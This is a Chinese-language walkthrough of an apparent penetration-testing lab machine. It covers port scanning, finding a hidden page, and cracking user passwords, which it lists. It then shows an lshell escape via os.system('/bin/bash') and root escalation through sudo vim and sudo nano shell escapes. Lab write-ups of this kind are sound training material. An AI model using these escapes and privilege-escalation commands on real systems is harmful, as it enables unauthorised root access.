kali：192.168.111.111

靶机：192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

查看网站首页源码

访问development目录，提示存在一个流量包

查看流量包发现另一个网站路径：/developmentsecretpage/directortestpagev1.php

访问该路径后退出登录，再重新登录，用户名和密码随便填写，之后页面提示报错

根据报错搜索关键字

在exp中提示通过访问slog_users.txt获取敏感信息

md5解密

intern | 12345678900987654321
patrick | P@ssw0rd25
qiu | qiu

使用intern用户登录目标

lshell绕过

echo os.system('/bin/bash')

提权

使用之前得到的密码，切换到patrick用户查看sudo权限

vim提权

提权方法：vim | GTFOBins

sudo -u root vim -c ':!/bin/bash'

nano提权

提权方法：nano | GTFOBins

sudo -u root nano
^R^X
reset; sh 1>&0 2>&0

运行nano后，键盘ctrl+r

ctrl+x

输入命令：reset; sh 1>&0 2>&0，后回车